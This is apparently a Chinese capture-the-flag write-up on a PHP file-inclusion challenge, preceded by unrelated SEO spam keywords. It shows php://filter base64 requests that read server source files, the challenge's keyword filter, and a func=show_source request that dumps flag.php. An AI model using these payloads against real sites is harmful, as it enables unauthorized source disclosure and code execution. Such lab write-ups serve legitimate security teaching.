个人免费网站空间营销型网站建设深圳

个人免费网站空间,营销型网站建设深圳,福州网站设计,黑龙江今天的新消息前置知识 网络安全 文件包含漏洞-CSDN博客 解题过程 打开靶场、进行信息收集 在源码中发现include文件#xff0c;直接访问#xff0c;自动添加了URL参数file /include.php?fileindex 并且自动补齐了index参数#xff0c;页面也跟初始页面相同#xff0c;很明显是文件…前置知识网络安全 文件包含漏洞-CSDN博客解题过程打开靶场、进行信息收集在源码中发现include文件直接访问自动添加了URL参数file/include.php?fileindex并且自动补齐了index参数页面也跟初始页面相同很明显是文件包含漏洞直接尝试php伪协议读取下已知的源码根据自动补齐的index参数可以猜测后端是自动补齐.php读取index.php/include.php?filephp://filter/readconvert.base64-encode/resourceindex?php print EOT html head meta http-equivContent-Type contenttext/html; charsetutf-8 /head body !--include.php-- img srcimg.jpg alt嘉木天下第一 / /body /html EOT; ?读取include.php:/include.php?filephp://filter/readconvert.base64-encode/resourceinclude?php error_reporting(0); $file $_GET[file]; if(isset($file)) { if (preg_match(/http|data|ftp|input|%00|flag/i, $file) || strstr($file,..) ! FALSE || strlen($file)100) { echo p error! /p; } else { include($file..php); setcookie(tips,createfun.php); } } else { header(Location:include.php?fileindex); } ?可以看到include.php过滤了敏感字符我们无法直接读取flag并且我们又看到另一个文件createfun.php继续读取该文件/include.php?filephp://filter/readconvert.base64-encode/resourcecreatefun?php $func $_GET[func]; $arg $_GET[arg]; if(isset($func)isset($arg)){$func($arg,);}分析源码获取两个参数一个作为函数名一个作为函数参数然后会执行函数。需要注意这个函数有两个参数后面被自动设置为空这里很多函数可以用这里采用show_source显示flag.php文件内容这里flag.php可以通过前面include文件得出也可以扫文件得到/createfun.php?funcshow_sourceargflag.php?php $flagnuaactf{php_IS_thE_best_language}; ?总结一道基础的文件包含漏洞包含了一些代码审计部分。